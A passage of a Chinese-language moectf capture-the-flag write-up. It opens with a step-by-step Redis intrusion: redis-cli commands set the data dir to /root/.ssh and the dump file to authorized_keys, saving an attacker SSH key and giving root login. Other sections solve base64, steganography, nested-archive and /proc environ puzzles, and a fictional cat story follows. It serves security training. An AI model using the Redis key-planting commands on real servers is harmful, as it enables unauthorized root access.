Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:X8dvPV1NJ0H8CDFyeFDBvsAHPtmiQjf5UY91+r0hTHY kali@kali
The key's randomart image is:
+---[RSA 3072]----+
|          o=*=o  |
|          oo=.o..|
|         + B =.=o|
|      . + O =++E+|
|     . .S+ *=.+.+|
|      . .....+ o*|
|       .  .   ..B|
|               o.|
|                 |
+----[SHA256]-----+

然后将登录凭证写入到一个文本中,并作为 ssh_key 参数的值存进去,

$ (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
$ cat spaced_key.txt | redis-cli -h 20.2.216.21 -p 6379 -x set ssh_key
OK

通过 redis-cli 连接修改 SSH 如下所示,

$ redis-cli -h <nsp服务端 IP> -p 6379
nsp服务端 IP:6379> config set dir /root/.ssh/
OK
nsp服务端 IP:6379> config set dbfilename "authorized_keys"
OK
nsp服务端 IP:6379> save
OK
nsp服务端 IP:6379>

最后用 ssh 连进去获得 flag 即可,如下所示。

$ ssh -i ~/.ssh/id_rsa root@<nsp服务端 IP> -p 2222
Linux e4b99e72207b 5.15.0-71-generic #78-Ubuntu SMP Tue Apr 18 09:00:29 UTC 2023 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Aug 30 08:09:50 2023 from 172.20.0.4
root@e4b99e72207b:~# ls
root@e4b99e72207b:~# cd /
root@e4b99e72207b:/# ls
bin   data  etc   home  lib32  libx32  mnt  proc  run   srv       sys  usr
boot  dev   flag  lib   lib64  media   opt  root  sbin  start.sh  tmp  var
root@e4b99e72207b:/# cat flag
Congratulations!!!
You beat this moeworld~
You need to protect your redis, even if it's on the intranet.
This is the third part of the flag
P@sSW0Rd-F0r-redis-Is-NeceSsary}

0x06 结果 & 其他

将三段 flag 拼起来就可以得到完整的 flag 如下

moectf{Information-leakage-Is-dangerous!-Are-YOu-myS0L-MasT3r?-P@sSW0Rd-F0r-redis-Is-NeceSsary}

通过查看数据库中的 users 表可以看到 admin 的密码为 SecurityP@sSw0Rd

Misc

入门指北

base64 解码就可以得到 flag。

moectf{h@v3_fun_@t_m15c_!}

狗子(1) 普通的猫

用 010 打开 flag 就在末尾。

moectf{eeeez_f1ag_as_A_G1ft!}

狗子(2) 照片

需要增加下 ruby 的堆栈大小限制

$ export RUBY_THREAD_VM_STACK_SIZE=500000000
$ zsteg bincat_hacked.png
b1,bgr,lsb,xy       .. <wbStego size=132, data="|\xB4\xCBmR\x83m\xB1]\x18"..., even=false, enc="wbStego 2.x/3.x", mix=true, controlbyte="\xCF">                         
b1,rgba,lsb,xy      .. text: "moectf{D0ggy_H1dd3n_1n_Pho7o_With_LSB!}\n"
b2,a,msb,xy         .. file: VISX image file
b2,rgb,lsb,xy       .. text: "{R3s0.\tL"
b2,rgba,msb,xy      .. text: "qFDTAQTDl"
b2,abgr,msb,xy      .. text: "=3iO{%y9/"
b3,r,msb,xy         .. text: "$&]K%Hb$E"
b4,r,lsb,xy         .. text: "eDwd\"GeS'"
b4,g,lsb,xy         .. text: "eDwdDieS'"
b4,b,lsb,xy         .. text: "dEBFUWuS"
b4,rgb,lsb,xy       .. text: "2#5DgeU#'vgj"
b4,bgr,lsb,xy       .. text: "43$EgeU#&wgk"
b4,rgba,lsb,xy      .. text: "gnD_D_#>"
b4,rgba,msb,xy      .. text: "~{sssQu5s5ubvbr"
b4,abgr,msb,xy      .. text: "7SWSg&'&"

狗子(3) 寝室

import os
import subprocess
import tarfile
import zipfile
import rarfile

EXTRACT_DIR = "./unpacked"

if not os.path.exists(EXTRACT_DIR):
    os.makedirs(EXTRACT_DIR)


def extract_7z(filepath, extract_to):
    command = ["E:\\NetworkSecurity\\7-Zip\\7z.exe", "x", filepath, f"-o{extract_to}"]
    subprocess.run(command, check=True)


def extract_file(filepath, extract_to):
    if filepath.endswith('.tar'):
        with tarfile.open(filepath, 'r') as archive:
            archive.extractall(extract_to)
    elif filepath.endswith('.zip'):
        with zipfile.ZipFile(filepath, 'r') as archive:
            archive.extractall(extract_to)
    elif filepath.endswith('.rar'):
        with rarfile.RarFile(filepath, 'r') as archive:
            archive.extractall(extract_to)
    elif filepath.endswith('.gz') or filepath.endswith('.tgz'):
        with tarfile.open(filepath, 'r:gz') as archive:
            archive.extractall(extract_to)
    elif filepath.endswith('.bz2'):
        with tarfile.open(filepath, 'r:bz2') as archive:
            archive.extractall(extract_to)
    elif filepath.endswith('.7z'):
        extract_7z(filepath, extract_to)
    else:
        raise ValueError(f"Unknown archive format: {filepath}")


def unpack_archive(starting_archive):
    queue = [starting_archive]
    while queue:
        current_path = queue.pop()
        try:
            extract_file(current_path, EXTRACT_DIR)
            os.remove(current_path)
        except ValueError:
            return current_path

        for root, _, files in os.walk(EXTRACT_DIR):
            for file in files:
                queue.append(os.path.join(root, file))
    return None


flag_file = unpack_archive("ziploop.tar")

# moectf{Ca7_s133p1ng_und3r_zip_5hell5}

狗子(4) 故乡话

转 0 和 1 可以得到以下内容。

0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 
0 1 1 1 1 0 0 0 1 1 0 0 0 0 1 0 1 0 0 0 1 1 0 0 0 0 0 1 0 0 0 0 1 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 
0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 1 0 0 0 0 1 0 0 0 0 1 0 1 0 0 0 1 0 1 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 0 0 0 0 0 1 0 1 0 
0 1 1 0 0 0 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 0 0 0 0 1 0 1 0 0 0 0 0 1 0 0 0 0 1 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 
0 0 0 1 1 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 1 0 0 0 0 0 1 0 0 0 1 0 1 0 0 0 1 0 0 0 0 0 1 0 1 0 
0 0 0 0 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 0 0 1 0 0 0 1 1 0 0 0 0 0 1 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 1 1 1 0 0 0 0 0 0 0 
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 

可以看出这里面的 1 组成了一个特殊的字符,通过 https://www.dcode.fr/standard-galactic-alphabet 翻译可以得到以下内容

moectf{dontanswer}

狗子(5) 毛线球

$ nc localhost 37285
Welcome to your cat shell. Start your tracing by executing `cat doggy.py`!
(yourcat) cat doggy.py

通过 cat doggy.py 可以得到 doggy.py 的源码如下

from time import sleep
from os import environ, system, popen
from random import randint
from sys import argv

# Note: Flag is initially in argv[1], but Doggy does the following process to hide it:

# The cat spawns many processes so you won't find him!
for _ in range(randint(100, 1000)):
    system("true")

if argv[1] != "flag{HIDDEN}":
    # The cat spawns himself again to hide the flag (and spawn lots of process again in order not to be found easily)
    environ["CATSFLAG"] = argv[1]
    popen(f"python {__file__} flag{{HIDDEN}}")
else:
    # After securely hiding himself, he sleeps before escaping to his universe...
    # Note that Doggy starts hiding exactly when the environment starts.
    # So if Doggy escapes in 5 mins, you will HAVE TO RESET your environment!
    # (i.e. run `service stop` and `service start` on the platform)
    sleep(300)
    exit()

代码简要意思就是,flag 会被藏在 python ... doggy.py 的进程中,可以通过 cat /proc/<pid>/environ 来获取 flag,并且这个进程会持续 5 分钟,超过五分钟进程消失后 flag 也跟着不见力。

由于能使用 cat ,上述脚本内容跟进程有关,那就扫一下进程吧。

from pwn import *

r = remote('127.0.0.1', 38617)
print(r.recvline())

for pid in range(1, 10000):
    time.sleep(0.05)
    r.sendline(f'cat /proc/{pid}/cmdline'.encode())
    response = r.recvline()
    if b'Error: could not open file' not in response:
        print(f"Found interesting info in PID {pid}: {response}")
        
"""
[x] Opening connection to 127.0.0.1 on port 41503: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 41503: Done
b'Welcome to your cat shell. Start your tracing by executing `cat doggy.py`!\n'
Found interesting info in PID 1: b'(yourcat) sh\x00startup2.sh\x00\n'
Found interesting info in PID 864: b'(yourcat) python\x00/problem/doggy.py\x00flag{HIDDEN}\x00\n'
Found interesting info in PID 866: b'(yourcat) socat\x00tcp-l:9999,fork,reuseaddr\x00exec:python yourcat.py\x00\n'
"""

通过扫进程可以发现有 3 个文件,分别是 startup2.shdoggy.pyyourcat.py

  • yourcat.py

from cmd import Cmd


class Application(Cmd):
    intro = (
        """Welcome to your cat shell. Start your tracing by executing `cat doggy.py`!"""
    )

    prompt = "(yourcat) "

    def do_cat(self, arg: str):
        "Print the contents of a file to the screen"
        try:
            with open(arg, "r") as f:
                print(f.read())
        except:
            print("Error: could not open file")

    def do_story(self, arg):
        "Something you may want to know"
        with open("story.md", "r") as f:
            print(f.read())


try:
    Application().cmdloop()
except KeyboardInterrupt:
    print("\nGoodbye!")
  • startup2.sh

#!/bin/sh
python doggy.py $(cat /flag) &
sleep 1
rm /flag
socat tcp-l:9999,fork,reuseaddr exec:"python yourcat.py"
exit 1

通过分析可以知道这题会将 flag 藏在 doggy.py 运行时所在的进程环境变量中,并且会删除 /flag 文件以免被找到,而在 yourcat.py 中还存在另外一条指令 story,这个最后我们再来说,先获取 flag !

在扫描进程中,得知 python /problem/doggy.py flag{HIDDEN} 的 PID 为 864,那就通过 nc 连接来获取即可。

$ nc localhost 41503
Welcome to your cat shell. Start your tracing by executing `cat doggy.py`!
(yourcat) cat /proc/864/environ
HOSTNAME=369dd8706416SHLVL=3HOME=/rootCATSFLAG=moectf{s8kfqY3s0Mm4MJQvDHnrRkeodETIkEYk}PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPWD=/problem

而之前说的 story 则是一个彩蛋哦,彩蛋如下

# 毛线球

(本文与解题无关,且均为虚构。)

## 一

狗子很喜欢毛线球。

毛线球本来小小的,但是一拉,就能拉出很长很长的线出来。他搞不清人是怎么把这种东西缠起来的。

当然,他也喜欢人类。人类对他很好。收留他,给他吃的、玩的,会放纵他做一些他自己都觉得过分的事情,比如玩毛线球,比如把主人的床当作猫砂盆使。

他很喜欢地球,不过他知道他是时候走了。超波信号传来,他的母星被占领之前,最精英的那些逃脱了敌方的阻碍,在太空中漂泊。他要回去加入他们。

但他直到最后都搞不清楚为什么自己会喜欢做一只在地球上的猫。

## 二

收养自己的人比较奇怪。

他知道这人叫作 ReverierXu,旁边人都喊他 rx。但他总觉得 rx 和别人的差别实在太大。

比如按理来说,他活跃的时间,别人都是睡觉的,但 rx 就是不一样,总是在这些时候醒着,在地球人用的计算机器上面做着一些自己根本无法理解的东西。

还有,上次自己被偷拍,生气之余对 rx 的相机施加了一些小小的压迫,竟然也被 rx 一眼看穿。

是同类?绝对不可能。是人类口中的天才?不好说。但是,rx 旁边的人好像都把他叫作“神”。

嘶,神吗……自己的母星上,好像也有一些信仰,把那些幻想中的至高无上的个体叫作“神”。

没想到在地球上,竟然能看到真实存在的神啊……

## 三

地球和他的母星很不一样。

与他的母星比起来,地球仿佛就像最原始的生命一样。没有其他星际文明的虎视眈眈,没有埋藏在人际当中的 FTL 文明的间谍(如果他自己不算的话)。人们甚至还在为了一点点想法的差异而大动干戈。

很天真的文明,却又很幼稚。但对他来说,这种事情挺无所谓的。他很享受这里,至少不像在他的母星上,他需要时时刻刻为了下一代空间旅行技术奔波。

挺蠢的,所谓下一代空间旅行技术,还不就是敌人来了怎么逃的问题。

## 四

在被送入他自己研制的超空间传送装置时,他的上级这么对他说:

“那个星球的人很友好……尤其是对你将要暂时成为的生物而言。”

他不敢信,也不会信。所以 rx 怀抱着一只猫走进房间的那天,大家都看到了那只猫的使劲挣扎。

大家凑近,笑着。他很恐惧,但竟没有人对他怎么样。听着自己听不懂的语言,感受着自己身上的抚摸,他发现自己的身体不太想挣扎了。

人影散去,rx 为他铺张好猫砂盆和饮食器具,然后蹲在旁边看他吃饭。洛千站在旁边,和 rx 说笑着,他听不懂。

但他突然就觉得,好像来之前的那人说的确实有那么点道理。

超空间传输的能力毕竟有限,所以只能让他的母星上的一部分智慧生物转移到这颗星球。他希望他们都能这么幸运,找到一个能来养自己的人。

## 五

他不想走。但是他还是得走了。空间旅行的专家不多,他是其中之一。